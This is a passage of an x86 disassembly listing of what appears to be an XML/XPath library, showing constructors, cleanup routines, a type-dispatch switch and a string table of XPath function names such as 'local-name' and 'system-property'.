mov [esi+18h], eax
pop edi
mov eax, esi
pop esi
retn 4
sub_69B6C040 endp
; =============== S U B R O U T I N E =======================================
sub_69B6C087 proc near ; CODE XREF: sub_69B6C105+Fp
arg_0 = dword ptr 4
push esi
push [esp+4+arg_0]
mov esi, ecx
call sub_69B6D3CA
xor eax, eax
mov dword ptr [esi], offset off_69B13EA0
mov dword ptr [esi+8], offset off_69B13E40
mov dword ptr [esi+10h], offset off_69B13DA8
mov [esi+38h], eax
mov [esi+3Ch], eax
mov [esi+40h], eax
mov [esi+44h], eax
mov eax, esi
pop esi
retn 4
sub_69B6C087 endp
; =============== S U B R O U T I N E =======================================
sub_69B6C0BB proc near ; CODE XREF: sub_69B6BCA7+3j
; .text:69B6BCBAj
; DATA XREF: ...
arg_0 = byte ptr 4
push esi
mov esi, ecx
call sub_69B6C0D6
test [esp+4+arg_0], 1
jz short loc_69B6C0D0
push esi
call sub_69B1829F
loc_69B6C0D0: ; CODE XREF: sub_69B6C0BB+Dj
mov eax, esi
pop esi
retn 4
sub_69B6C0BB endp
; =============== S U B R O U T I N E =======================================
sub_69B6C0D6 proc near ; CODE XREF: sub_69B6C0BB+3p
push esi
mov esi, ecx
lea eax, [esi+44h]
push eax
call sub_69B17230
lea eax, [esi+40h]
push eax
call sub_69B17230
lea eax, [esi+3Ch]
push eax
call sub_69B17230
lea eax, [esi+38h]
push eax
call sub_69B17230
mov ecx, esi
pop esi
jmp sub_69B65BC0
sub_69B6C0D6 endp
; =============== S U B R O U T I N E =======================================
sub_69B6C105 proc near ; DATA XREF: .text:69B6B860o
push 50h
call sub_69B17EF3
test eax, eax
jz short loc_69B6C11A
push 0
mov ecx, eax
call sub_69B6C087
retn
; ---------------------------------------------------------------------------
loc_69B6C11A: ; CODE XREF: sub_69B6C105+9j
xor eax, eax
retn
sub_69B6C105 endp
; =============== S U B R O U T I N E =======================================
sub_69B6C11D proc near ; CODE XREF: sub_69B639EB+3Ep
; sub_69B6CF3A+16p
push 50h
call sub_69B17EF3
test eax, eax
jz short loc_69B6C12F
mov ecx, eax
jmp sub_69B6BC54
; ---------------------------------------------------------------------------
loc_69B6C12F: ; CODE XREF: sub_69B6C11D+9j
xor eax, eax
retn 8
sub_69B6C11D endp
; =============== S U B R O U T I N E =======================================
sub_69B6C134 proc near ; DATA XREF: .text:69B13EE4o
push esi
mov esi, ecx
mov al, [esi+4Eh]
and al, 3
cmp al, 2
jz short loc_69B6C145
call sub_69B6BCF3
loc_69B6C145: ; CODE XREF: sub_69B6C134+Aj
mov eax, [esi+2Ch]
mov ecx, [esi+44h]
mov esi, [esi+38h]
push eax
call sub_69B1A954
mov eax, [eax]
mov ecx, [esi+38h]
push eax
call sub_69B1A954
mov eax, [eax]
pop esi
retn
sub_69B6C134 endp
; =============== S U B R O U T I N E =======================================
sub_69B6C163 proc near ; DATA XREF: .text:69B13D5Co
push esi
mov esi, ecx
mov eax, [esi+8]
test eax, eax
push edi
lea edi, [esi+0Ch]
jz short loc_69B6C182
push ebx
mov ebx, eax
loc_69B6C174: ; CODE XREF: sub_69B6C163+1Cj
mov ecx, edi
call sub_69B6C18B
add edi, 1Ch
dec ebx
jnz short loc_69B6C174
pop ebx
loc_69B6C182: ; CODE XREF: sub_69B6C163+Cj
pop edi
mov ecx, esi
pop esi
jmp nullsub_5
sub_69B6C163 endp
; =============== S U B R O U T I N E =======================================
sub_69B6C18B proc near ; CODE XREF: sub_69B6C163+13p
push esi
mov esi, ecx
lea eax, [esi+10h]
push eax
call sub_69B17230
lea eax, [esi+0Ch]
push eax
call sub_69B17230
push esi
call sub_69B17230
pop esi
retn
sub_69B6C18B endp
; =============== S U B R O U T I N E =======================================
sub_69B6C1A8 proc near ; CODE XREF: sub_69B6C1E9+Bj
; DATA XREF: .text:69B15D04o
mov eax, offset off_69B6C1B0
retn
sub_69B6C1A8 endp
; ---------------------------------------------------------------------------
align 10h
off_69B6C1B0 dd offset off_69B29C74 ; DATA XREF: sub_69B6C1A8o
dd offset sub_69B6C893
; =============== S U B R O U T I N E =======================================
sub_69B6C1B8 proc near ; DATA XREF: .text:69B15CD4o
cmp dword ptr [ecx+8], 0Ah
push esi
mov esi, 300h
jnz short loc_69B6C1C6
xor esi, esi
loc_69B6C1C6: ; CODE XREF: sub_69B6C1B8+Aj
mov eax, [ecx]
call dword ptr [eax+3Ch]
cmp eax, 3
jz short loc_69B6C1D4
test eax, eax
jnz short loc_69B6C1DA
loc_69B6C1D4: ; CODE XREF: sub_69B6C1B8+16j
and esi, 0FFFFFDFFh
loc_69B6C1DA: ; CODE XREF: sub_69B6C1B8+1Aj
mov eax, esi
pop esi
retn
sub_69B6C1B8 endp
; =============== S U B R O U T I N E =======================================
sub_69B6C1DE proc near ; DATA XREF: .text:69B15CC4o
mov eax, [ecx+8]
mov eax, dword_69B9A3F8[eax*4]
retn
sub_69B6C1DE endp
; =============== S U B R O U T I N E =======================================
sub_69B6C1E9 proc near ; DATA XREF: .text:69B15C94o
arg_0 = byte ptr 4
arg_4 = dword ptr 8
sub ecx, 8
jmp loc_69B6C750
; ---------------------------------------------------------------------------
loc_69B6C1F1: ; DATA XREF: .text:69B15CA4o
sub ecx, 8
jmp short sub_69B6C1A8
; ---------------------------------------------------------------------------
loc_69B6C1F6: ; CODE XREF: sub_69B6C1E9+562j
; DATA XREF: .text:69B15D1Co
push esi
mov esi, ecx
push 0
lea eax, [esi+14h]
push eax
call sub_69B17320
push 0
lea eax, [esi+18h]
push eax
call sub_69B17320
mov ecx, esi
pop esi
jmp nullsub_5
; ---------------------------------------------------------------------------
loc_69B6C217: ; DATA XREF: .text:69B15CD8o
push ebp
mov ebp, esp
sub esp, 10h
and dword ptr [ebp-10h], 0
push esi
mov esi, ecx
mov eax, [esi]
lea ecx, [ebp-10h]
push ecx
push dword ptr [ebp+10h]
mov ecx, esi
push dword ptr [ebp+0Ch]
mov byte ptr [ebp-0Ch], 0
push dword ptr [ebp+8]
call dword ptr [eax+54h]
cmp dword ptr [esi+4], 2
jnz short loc_69B6C24C
xor eax, eax
cmp [ebp-10h], eax
setnz al
jmp short loc_69B6C26B
; ---------------------------------------------------------------------------
loc_69B6C24C: ; CODE XREF: sub_69B6C1E9+57j
push 1
lea eax, [ebp-10h]
push eax
push 1
lea ecx, [ebp-10h]
call sub_69B64008
cmp dword ptr [ebp-10h], 1
jz short loc_69B6C267
or eax, 0FFFFFFFFh
jmp short loc_69B6C26B
; ---------------------------------------------------------------------------
loc_69B6C267: ; CODE XREF: sub_69B6C1E9+77j
movzx eax, byte ptr [ebp-8]
loc_69B6C26B: ; CODE XREF: sub_69B6C1E9+61j
; sub_69B6C1E9+7Cj
lea ecx, [ebp-10h]
mov esi, eax
call sub_69B466CC
mov eax, esi
pop esi
leave
retn 0Ch
; ---------------------------------------------------------------------------
loc_69B6C27C: ; DATA XREF: .text:69B15CDCo
push ebp
mov ebp, esp
sub esp, 10h
push edi
mov edi, ecx
cmp dword ptr [edi+8], 0Ch
jnz loc_69B6C364
mov edi, [edi+10h]
test edi, edi
jz loc_69B6C57B
and dword ptr [ebp-10h], 0
lea ecx, [ebp-10h]
push ecx
push dword ptr [ebp+10h]
mov byte ptr [ebp-0Ch], 0
push dword ptr [ebp+0Ch]
mov eax, [edi]
push dword ptr [ebp+8]
mov ecx, edi
call dword ptr [eax+54h]
push 1
lea eax, [ebp-10h]
push eax
push 5
lea ecx, [ebp-10h]
call sub_69B64008
cmp dword ptr [ebp-10h], 5
jnz loc_69B6C357
push off_69B9A3E8 ; lpString
mov ecx, [ebp-8]
call sub_69B2EF04
test al, al
jz short loc_69B6C2F6
fld dbl_69B9A3D0
loc_69B6C2E8: ; CODE XREF: sub_69B6C1E9+125j
mov eax, [ebp+14h]
fstp qword ptr [eax+8]
mov dword ptr [eax], 3
jmp short loc_69B6C357
; ---------------------------------------------------------------------------
loc_69B6C2F6: ; CODE XREF: sub_69B6C1E9+F7j
push off_69B9A3EC ; lpString
mov ecx, [ebp-8]
call sub_69B2EF04
test al, al
jz short loc_69B6C310
fld dbl_69B9A3D8
jmp short loc_69B6C2E8
; ---------------------------------------------------------------------------
loc_69B6C310: ; CODE XREF: sub_69B6C1E9+11Dj
push off_69B9A3F0 ; lpString
mov ecx, [ebp-8]
call sub_69B2EF04
test al, al
jz short loc_69B6C32A
push off_69B9A3E0
jmp short loc_69B6C342
; ---------------------------------------------------------------------------
loc_69B6C32A: ; CODE XREF: sub_69B6C1E9+137j
push off_69B9A3F4 ; lpString
mov ecx, [ebp-8]
call sub_69B2EF04
test al, al
jz short loc_69B6C34A
push off_69B9A3E4 ; lpString
loc_69B6C342: ; CODE XREF: sub_69B6C1E9+13Fj
call sub_69B1A587
push eax
jmp short loc_69B6C34F
; ---------------------------------------------------------------------------
loc_69B6C34A: ; CODE XREF: sub_69B6C1E9+151j
push offset off_69B1A5AC
loc_69B6C34F: ; CODE XREF: sub_69B6C1E9+15Fj
mov ecx, [ebp+14h]
call sub_69B48684
loc_69B6C357: ; CODE XREF: sub_69B6C1E9+E1j
; sub_69B6C1E9+10Bj
lea ecx, [ebp-10h]
call sub_69B466CC
jmp loc_69B6C57B
; ---------------------------------------------------------------------------
loc_69B6C364: ; CODE XREF: sub_69B6C1E9+A0j
mov ecx, [edi+0Ch]
test ecx, ecx
push ebx
push esi
jz short loc_69B6C38C
mov eax, [ecx]
push 0
push dword ptr [ebp+10h]
push dword ptr [ebp+8]
call dword ptr [eax+48h]
mov ecx, [edi+0Ch]
mov eax, [ecx]
call dword ptr [eax+3Ch]
mov esi, [edi+0Ch]
mov ebx, eax
mov [ebp+10h], ebx
jmp short loc_69B6C392
; ---------------------------------------------------------------------------
loc_69B6C38C: ; CODE XREF: sub_69B6C1E9+182j
mov ebx, [ebp+10h]
mov esi, [ebp+0Ch]
loc_69B6C392: ; CODE XREF: sub_69B6C1E9+1A1j
test ebx, ebx
jnz short loc_69B6C3A0
cmp dword ptr [edi+8], 6
jnz loc_69B6C579 ; default
loc_69B6C3A0: ; CODE XREF: sub_69B6C1E9+1ABj
mov eax, [edi+8]
dec eax
cmp eax, 0Ah ; switch 11 cases
ja loc_69B6C579 ; default
jmp ds:off_69B6C580[eax*4] ; switch jump
loc_69B6C3B4: ; DATA XREF: sub_69B6C1E9:off_69B6C580o
mov eax, [ebx] ; jumptable 69B6C3AD case 0
push 0
push 4
mov ecx, ebx
call dword ptr [eax+4Ch]
jmp loc_69B6C54F
; ---------------------------------------------------------------------------
loc_69B6C3C4: ; CODE XREF: sub_69B6C1E9+1C4j
; DATA XREF: sub_69B6C1E9:off_69B6C580o
push dword ptr [ebp+14h] ; jumptable 69B6C3AD case 1
mov esi, [ebx]
mov ecx, ebx
call dword ptr [esi+0E0h]
push eax
mov ecx, ebx
call dword ptr [esi+54h]
jmp loc_69B6C579 ; default
; ---------------------------------------------------------------------------
loc_69B6C3DC: ; CODE XREF: sub_69B6C1E9+1C4j
; DATA XREF: sub_69B6C1E9:off_69B6C580o
mov eax, [ebx] ; jumptable 69B6C3AD case 2
mov ecx, ebx
call dword ptr [eax+44h]
push eax
call sub_69B3FC4B
mov [ebp+8], eax
fild dword ptr [ebp+8]
jmp loc_69B6C4F4
; ---------------------------------------------------------------------------
loc_69B6C3F4: ; CODE XREF: sub_69B6C1E9+1C4j
; DATA XREF: sub_69B6C1E9:off_69B6C580o
mov eax, [ebx] ; jumptable 69B6C3AD case 3
mov ecx, ebx
call dword ptr [eax+3Ch]
test eax, eax
jnz loc_69B6C548
cmp dword ptr [edi+4], 1
jnz loc_69B6C579 ; default
loc_69B6C40D: ; CODE XREF: sub_69B6C1E9+322j
; sub_69B6C1E9+32Dj ...
push offset off_69B1A5AC
jmp loc_69B6C550
; ---------------------------------------------------------------------------
loc_69B6C417: ; CODE XREF: sub_69B6C1E9+1C4j
; DATA XREF: sub_69B6C1E9:off_69B6C580o
test esi, esi ; jumptable 69B6C3AD case 4
jz loc_69B6C579 ; default
mov eax, [esi]
push ebx
push dword ptr [ebp+8]
mov ecx, esi
call dword ptr [eax+54h]
mov [ebp+8], eax
fild dword ptr [ebp+8]
jmp loc_69B6C4F4
; ---------------------------------------------------------------------------
loc_69B6C435: ; CODE XREF: sub_69B6C1E9+1C4j
; DATA XREF: sub_69B6C1E9:off_69B6C580o
test esi, esi ; jumptable 69B6C3AD case 8
jz loc_69B6C579 ; default
mov eax, [esi]
push ebx
push dword ptr [ebp+8]
mov ecx, esi
call dword ptr [eax+54h]
inc eax
mov [ebp+8], eax
fild dword ptr [ebp+8]
jmp loc_69B6C4F4
; ---------------------------------------------------------------------------
loc_69B6C454: ; CODE XREF: sub_69B6C1E9+1C4j
; DATA XREF: sub_69B6C1E9:off_69B6C580o
test esi, esi ; jumptable 69B6C3AD case 9
jz loc_69B6C579 ; default
mov eax, [esi]
push ebx
push dword ptr [ebp+8]
mov ecx, esi
call dword ptr [eax+88h]
cmp eax, 0FFFFFFFFh
mov [ebp+0Ch], eax
jnz short loc_69B6C4D7
xor edi, edi
cmp [ebp+8], edi
jnz short loc_69B6C48C
push edi
push 0C00CE389h
push 80004005h
call sub_69B2E9D0
add esp, 0Ch
loc_69B6C48C: ; CODE XREF: sub_69B6C1E9+28Ej
push edi
push edi
call sub_69B664E8
lea edi, [eax+10h]
mov eax, [esi]
mov ebx, [edi]
mov ecx, esi
call dword ptr [eax+84h]
mov ecx, edi
push eax
call dword ptr [ebx+80h]
mov eax, [edi]
push esi
mov ecx, edi
call dword ptr [eax+8Ch]
mov esi, [ebp+8]
mov eax, [esi]
push edi
mov ecx, esi
call dword ptr [eax+14h]
push dword ptr [ebp+10h]
mov eax, [edi]
push esi
mov ecx, edi
call dword ptr [eax+88h]
mov [ebp+8], eax
fild dword ptr [ebp+8]
jmp short loc_69B6C4F4
; ---------------------------------------------------------------------------
loc_69B6C4D7: ; CODE XREF: sub_69B6C1E9+287j
fild dword ptr [ebp+0Ch]
jmp short loc_69B6C4F4
; ---------------------------------------------------------------------------
loc_69B6C4DC: ; CODE XREF: sub_69B6C1E9+1C4j
; DATA XREF: sub_69B6C1E9:off_69B6C580o
and dword ptr [ebp+8], 0 ; jumptable 69B6C3AD case 5
loc_69B6C4E0: ; CODE XREF: sub_69B6C1E9+306j
mov ecx, [edi+0Ch]
mov eax, [ecx]
call dword ptr [eax+40h]
test eax, eax
jz short loc_69B6C4F1
inc dword ptr [ebp+8]
jmp short loc_69B6C4E0
; ---------------------------------------------------------------------------
loc_69B6C4F1: ; CODE XREF: sub_69B6C1E9+301j
fild dword ptr [ebp+8]
loc_69B6C4F4: ; CODE XREF: sub_69B6C1E9+206j
; sub_69B6C1E9+247j ...
mov eax, [ebp+14h]
fstp qword ptr [eax+8]
mov dword ptr [eax], 3
jmp short loc_69B6C579 ; default
; ---------------------------------------------------------------------------
loc_69B6C502: ; CODE XREF: sub_69B6C1E9+1C4j
; DATA XREF: sub_69B6C1E9:off_69B6C580o
mov eax, [ebx] ; jumptable 69B6C3AD case 7
mov ecx, ebx
call dword ptr [eax+3Ch]
test eax, eax
jz loc_69B6C40D
mov ecx, [eax+10h]
test ecx, ecx
jz loc_69B6C40D
mov eax, [ecx]
call dword ptr [eax+2Ch]
jmp short loc_69B6C54F
; ---------------------------------------------------------------------------
loc_69B6C523: ; CODE XREF: sub_69B6C1E9+1C4j
; DATA XREF: sub_69B6C1E9:off_69B6C580o
mov eax, [ebx] ; jumptable 69B6C3AD case 10
mov ecx, ebx
call dword ptr [eax+3Ch]
test eax, eax
jz loc_69B6C40D
mov eax, [eax+8]
test eax, eax
jz loc_69B6C40D
mov eax, [eax+14h]
test eax, eax
jz loc_69B6C40D
loc_69B6C548: ; CODE XREF: sub_69B6C1E9+214j
mov edx, [eax]
mov ecx, eax
call dword ptr [edx+2Ch]
loc_69B6C54F: ; CODE XREF: sub_69B6C1E9+1D6j
; sub_69B6C1E9+338j
push eax
loc_69B6C550: ; CODE XREF: sub_69B6C1E9+229j
mov ecx, [ebp+14h]
call sub_69B48684
jmp short loc_69B6C579 ; default
; ---------------------------------------------------------------------------
loc_69B6C55A: ; CODE XREF: sub_69B6C1E9+1C4j
; DATA XREF: sub_69B6C1E9:off_69B6C580o
test esi, esi ; jumptable 69B6C3AD case 6
jz short loc_69B6C579 ; default
mov eax, [esi]
push ebx
push dword ptr [ebp+8]
mov ecx, esi
call dword ptr [eax+58h]
test al, al
jz short loc_69B6C579 ; default
mov ecx, [ebp+14h]
mov dword ptr [ecx], 1
mov [ecx+8], al
loc_69B6C579: ; CODE XREF: sub_69B6C1E9+1B1j
; sub_69B6C1E9+1BEj ...
pop esi ; default
pop ebx
loc_69B6C57B: ; CODE XREF: sub_69B6C1E9+ABj
; sub_69B6C1E9+176j
pop edi
leave
retn 10h
; ---------------------------------------------------------------------------
off_69B6C580 dd offset loc_69B6C3B4 ; DATA XREF: sub_69B6C1E9+1C4r
dd offset loc_69B6C3C4 ; jump table for switch statement
dd offset loc_69B6C3DC
dd offset loc_69B6C3F4
dd offset loc_69B6C417
dd offset loc_69B6C4DC
dd offset loc_69B6C55A
dd offset loc_69B6C502
dd offset loc_69B6C435
dd offset loc_69B6C454
dd offset loc_69B6C523
; ---------------------------------------------------------------------------
loc_69B6C5AC: ; DATA XREF: .text:69B15D24o
push esi
mov esi, ecx
mov eax, [esi+10h]
sub eax, 4
push edi
mov edi, [esp+8+arg_4]
jz short loc_69B6C5FA
dec eax
dec eax
jz short loc_69B6C5F3
dec eax
dec eax
jz short loc_69B6C5EC
dec eax
jz short loc_69B6C5E5
dec eax
jz short loc_69B6C5DE
dec eax
jz short loc_69B6C5D7
dec eax
jnz short loc_69B6C612
mov eax, offset off_69B6C6A8
jmp short loc_69B6C5FF
; ---------------------------------------------------------------------------
loc_69B6C5D7: ; CODE XREF: sub_69B6C1E9+3E2j
mov eax, offset off_69B6C648
jmp short loc_69B6C5FF
; ---------------------------------------------------------------------------
loc_69B6C5DE: ; CODE XREF: sub_69B6C1E9+3DFj
mov eax, offset off_69B6C678
jmp short loc_69B6C5FF
; ---------------------------------------------------------------------------
loc_69B6C5E5: ; CODE XREF: sub_69B6C1E9+3DCj
mov eax, offset off_69B6C688
jmp short loc_69B6C5FF
; ---------------------------------------------------------------------------
loc_69B6C5EC: ; CODE XREF: sub_69B6C1E9+3D9j
mov eax, offset off_69B6C658
jmp short loc_69B6C5FF
; ---------------------------------------------------------------------------
loc_69B6C5F3: ; CODE XREF: sub_69B6C1E9+3D5j
mov eax, offset off_69B6C698
jmp short loc_69B6C5FF
; ---------------------------------------------------------------------------
loc_69B6C5FA: ; CODE XREF: sub_69B6C1E9+3D1j
mov eax, offset off_69B6C668
loc_69B6C5FF: ; CODE XREF: sub_69B6C1E9+3ECj
; sub_69B6C1E9+3F3j ...
mov edx, [edi]
push eax
mov eax, dword_69B9B308
push dword ptr [eax+8]
mov ecx, edi
call dword ptr [edx+0ACh]
loc_69B6C612: ; CODE XREF: sub_69B6C1E9+3E5j
mov ecx, [esi+18h]
test ecx, ecx
jz short loc_69B6C625
mov eax, [ecx]
push edi
push dword ptr [esp+0Ch+arg_0]
call dword ptr [eax+5Ch]
jmp short loc_69B6C63D
; ---------------------------------------------------------------------------
loc_69B6C625: ; CODE XREF: sub_69B6C1E9+42Ej
mov ecx, [esi+14h]
test ecx, ecx
jz short loc_69B6C63D
mov eax, [ecx]
call dword ptr [eax+5Ch]
mov edx, [eax]
push edi
push dword ptr [esp+0Ch+arg_0]
mov ecx, eax
call dword ptr [edx+5Ch]
loc_69B6C63D: ; CODE XREF: sub_69B6C1E9+43Aj
; sub_69B6C1E9+441j
pop edi
pop esi
retn 8
; ---------------------------------------------------------------------------
align 8
off_69B6C648 dd offset off_69B17D10 ; DATA XREF: sub_69B6C1E9:loc_69B6C5D7o
; .data:69B9A388o
align 10h
dd 0Ah
dd offset aLocalName_0 ; "local-name"
off_69B6C658 dd offset off_69B17D10 ; DATA XREF: sub_69B6C1E9:loc_69B6C5ECo
; .data:69B9A37Co
align 10h
dd 0Dh
dd offset aNamespaceUri_0 ; "namespace-uri"
off_69B6C668 dd offset off_69B17D10 ; DATA XREF: sub_69B6C1E9:loc_69B6C5FAo
align 10h
dd 4
dd offset aName_4 ; "name"
off_69B6C678 dd offset off_69B17D10 ; DATA XREF: sub_69B6C1E9:loc_69B6C5DEo
align 10h
dd 4
dd offset aLast_0 ; "last"
off_69B6C688 dd offset off_69B17D10 ; DATA XREF: sub_69B6C1E9:loc_69B6C5E5o
align 10h
dd 8
dd offset aPosition_0 ; "position"
off_69B6C698 dd offset off_69B17D10 ; DATA XREF: sub_69B6C1E9:loc_69B6C5F3o
align 10h
dd 5
dd offset aCount_0 ; "count"
off_69B6C6A8 dd offset off_69B17D10 ; DATA XREF: sub_69B6C1E9+3E7o
align 10h
dd 0Fh
dd offset aSystemProper_0 ; "system-property"
aLocalName_0: ; DATA XREF: sub_69B6C1E9+46Bo
unicode 0, <local-name>,0
align 10h
aNamespaceUri_0: ; DATA XREF: sub_69B6C1E9+47Bo
unicode 0, <namespace-uri>,0
aName_4: ; DATA XREF: sub_69B6C1E9+48Bo
unicode 0, <name>,0
align 4
aLast_0: ; DATA XREF: sub_69B6C1E9+49Bo
unicode 0, <last>,0
align 4
aPosition_0: ; DATA XREF: sub_69B6C1E9+4ABo
unicode 0, <position>,0
align 4
aCount_0: ; DATA XREF: sub_69B6C1E9+4BBo
unicode 0, <count>,0
align 8
aSystemProper_0: ; DATA XREF: sub_69B6C1E9+4CBo
unicode 0, <system-property>,0
; ---------------------------------------------------------------------------
loc_69B6C748: ; DATA XREF: .text:69B15CBCo
sub ecx, 8
jmp loc_69B6C1F6
; ---------------------------------------------------------------------------
loc_69B6C750: ; CODE XREF: sub_69B6C1E9+3j
; DATA XREF: .text:69B15CF4o
push esi
mov esi, ecx
call sub_69B6C76B
test [esp+4+arg_0], 1
jz short loc_69B6C765
push esi
call sub_69B1829F
loc_69B6C765: ; CODE XREF: sub_69B6C1E9+574j
mov eax, esi
pop esi
retn 4
sub_69B6C1E9 endp
; =============== S U B R O U T I N E =======================================
sub_69B6C76B proc near ; CODE XREF: sub_69B6C1E9+56Ap
push esi
mov esi, ecx
lea eax, [esi+18h]
push eax
call sub_69B17230
lea eax, [esi+14h]
push eax
call sub_69B17230
mov ecx, esi
pop esi
jmp sub_69B653F7
sub_69B6C76B endp
; =============== S U B R O U T I N E =======================================
sub_69B6C788 proc near ; CODE XREF: sub_69B631EE+BCp
; sub_69B6349E+23Fp
push 1Ch
call sub_69B17EF3
test eax, eax
jz short loc_69B6C79A
mov ecx, eax
jmp sub_69B15C30
; ---------------------------------------------------------------------------
loc_69B6C79A: ; CODE XREF: sub_69B6C788+9j
xor eax, eax
retn 8
sub_69B6C788 endp
; =============== S U B R O U T I N E =======================================
sub_69B6C79F proc near ; CODE XREF: .text:69B65490j
; DATA XREF: .text:69B1979Co
mov eax, offset off_69B29C74
retn
sub_69B6C79F endp
; =============== S U B R O U T I N E =======================================
sub_69B6C7A5 proc near ; CODE XREF: sub_69B6CA09+4j
; DATA XREF: .text:69B12C00o ...
arg_0 = dword ptr 4
push esi
mov esi, ecx
cmp dword ptr [esi+4], 1
jnz short loc_69B6C7D7
mov eax, [esi]
call dword ptr [eax+3Ch]
cmp eax, [esp+4+arg_0]
jz short loc_69B6C7D7
push [esp+4+arg_0]
lea eax, [esi-8]
neg eax
sbb eax, eax
and eax, esi
push eax
call sub_69B6589E
lea ecx, [eax+8]
neg eax
sbb eax, eax
and eax, ecx
jmp short loc_69B6C7E0
; ---------------------------------------------------------------------------
loc_69B6C7D7: ; CODE XREF: sub_69B6C7A5+7j
; sub_69B6C7A5+12j
lea eax, [esi-8]
neg eax
sbb eax, eax
and eax, esi
loc_69B6C7E0: ; CODE XREF: sub_69B6C7A5+30j
pop esi
retn 4
sub_69B6C7A5 endp
; =============== S U B R O U T I N E =======================================
sub_69B6C7E4 proc near ; DATA XREF: .text:69B12C08o
; .text:69B12D00o ...
arg_0 = dword ptr 4
push [esp+arg_0]
lea eax, [ecx-8]
neg eax
sbb eax, eax
and eax, ecx
push eax
call sub_69B6DF25
lea ecx, [eax+8]
neg eax
sbb eax, eax
and eax, ecx
retn 4
sub_69B6C7E4 endp
; =============== S U B R O U T I N E =======================================
sub_69B6C803 proc near ; CODE XREF: sub_69B65510+4p
; DATA XREF: .text:69B12C0Co
mov eax, 300h
retn
sub_69B6C803 endp
; =============== S U B R O U T I N E =======================================
sub_69B6C809 proc near ; DATA XREF: .text:69B12C1Co
; .text:69B12D14o ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push esi
lea esi, [ecx-8]
mov eax, [esi]
push edi
mov ecx, esi
xor edi, edi
call dword ptr [eax+38h]
test eax, eax
jz short loc_69B6C848
mov ecx, [esp+8+arg_0]
push 1
push edi
push edi
push eax
push edi
call sub_69B3D2F2
mov edi, eax
mov eax, [esi]
push edi
push [esp+0Ch+arg_0]
mov ecx, esi
call dword ptr [eax+3Ch]
mov ecx, [esp+8+arg_4]
test ecx, ecx
jz short loc_69B6C848
mov eax, [ecx]
push 0
push edi
call dword ptr [eax+7Ch]
loc_69B6C848: ; CODE XREF: sub_69B6C809+10j
; sub_69B6C809+35j
mov eax, edi
pop edi
pop esi
retn 8
sub_69B6C809 endp
; =============== S U B R O U T I N E =======================================
sub_69B6C84F proc near ; CODE XREF: sub_69B65480+3j
; sub_69B6CFE2+7p ...
push esi
mov esi, ecx
call sub_69B2F49D
mov edx, [eax]
mov ecx, eax
call dword ptr [edx+10h]
mov ecx, [esi+0Ch]
mov [eax+0Ch], ecx
add eax, 8
pop esi
retn
sub_69B6C84F endp
; =============== S U B R O U T I N E =======================================
sub_69B6C869 proc near ; CODE XREF: sub_69B6C893+Fp
; sub_69B6D3CA+8p
arg_0 = dword ptr 4
push esi
push edi
push [esp+8+arg_0]
mov esi, ecx
call sub_69B2DC24
lea edi, [esi+8]
mov ecx, edi
call sub_69B1818F
mov dword ptr [edi], offset off_69B12BC0
pop edi
mov dword ptr [esi], offset off_69B19780
mov eax, esi
pop esi
retn 4
sub_69B6C869 endp
; =============== S U B R O U T I N E =======================================
sub_69B6C893 proc near ; DATA XREF: .text:69B29C78o
; .text:69B6541Co ...
push 10h
call sub_69B17EF3
test eax, eax
jz short loc_69B6C8A8
push 0
mov ecx, eax
call sub_69B6C869
retn
; ---------------------------------------------------------------------------
loc_69B6C8A8: ; CODE XREF: sub_69B6C893+9j
xor eax, eax
retn
sub_69B6C893 endp
; =============== S U B R O U T I N E =======================================
sub_69B6C8AB proc near ; CODE XREF: sub_69B667E0+6p
; sub_69B6A7B0+6p
var_4 = dword ptr -4
arg_0 = dword ptr 4
push ecx
push ebp
mov ebp, [esp+8+arg_0]
test ebp, ebp
mov [esp+8+var_4], 300h
jz short loc_69B6C8FD
push edi
mov edi, [ebp+0Ch]
test edi, edi
jz short loc_69B6C8FC
push ebx
xor ebx, ebx
test edi, edi
jle short loc_69B6C8FB
push esi
loc_69B6C8CD: ; CODE XREF: sub_69B6C8AB+4Dj
push ebx
mov ecx, ebp
call sub_69B8A163
mov esi, eax
test esi, esi
jz short loc_69B6C8F5
push esi
mov ecx, offset off_69B29C74
call sub_69B1885E
test al, al
jz short loc_69B6C8F5
mov eax, [esi]
mov ecx, esi
call dword ptr [eax+4Ch]
and [esp+14h+var_4], eax
loc_69B6C8F5: ; CODE XREF: sub_69B6C8AB+2Ej
; sub_69B6C8AB+3Dj
inc ebx
cmp ebx, edi
jl short loc_69B6C8CD
pop esi
loc_69B6C8FB: ; CODE XREF: sub_69B6C8AB+1Fj
pop ebx
loc_69B6C8FC: ; CODE XREF: sub_69B6C8AB+18j
pop edi
loc_69B6C8FD: ; CODE XREF: sub_69B6C8AB+10j
mov eax, [esp+8+var_4]
pop ebp
pop ecx
retn 4
sub_69B6C8AB endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_69B6C906 proc near ; DATA XREF: .text:69B12C18o
; .text:69B15678o ...
var_20 = dword ptr -20h
var_1C = byte ptr -1Ch
var_10 = dword ptr -10h
var_C = byte ptr -0Ch
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
push ebp
mov ebp, esp
sub esp, 20h
push ebx
push esi
mov esi, ecx
mov eax, [esi]
lea ecx, [ebp+var_10]
push ecx
push [ebp+arg_C]
xor ebx, ebx
push [ebp+arg_8]
mov ecx, esi
push [ebp+arg_0]
mov [ebp+var_10], ebx
mov [ebp+var_C], bl
mov [ebp+var_20], ebx
mov [ebp+var_1C], bl
call dword ptr [eax+54h]
cmp [ebp+var_10], ebx
jz short loc_69B6C962
mov ecx, [ebp+arg_10]
mov eax, [ecx]
lea edx, [ebp+var_20]
push edx
push [ebp+arg_C]
push [ebp+arg_8]
push [ebp+arg_0]
call dword ptr [eax+54h]
push dword ptr [esi+4]
lea eax, [ebp+var_20]
push eax
push [ebp+arg_4]
lea ecx, [ebp+var_10]
call sub_69B65333
mov esi, eax
jmp short loc_69B6C965
; ---------------------------------------------------------------------------
loc_69B6C962: ; CODE XREF: sub_69B6C906+2Fj
or esi, 0FFFFFFFFh
loc_69B6C965: ; CODE XREF: sub_69B6C906+5Aj
lea ecx, [ebp+var_20]
call sub_69B466CC
lea ecx, [ebp+var_10]
call sub_69B466CC
mov eax, esi
pop esi
pop ebx
leave
retn 14h
sub_69B6C906 endp
; =============== S U B R O U T I N E =======================================
sub_69B6C97D proc near ; CODE XREF: sub_69B6D372+3j
; .text:69B6D385j
; DATA XREF: ...
mov eax, offset off_69B29C7C
retn
sub_69B6C97D endp
; =============== S U B R O U T I N E =======================================
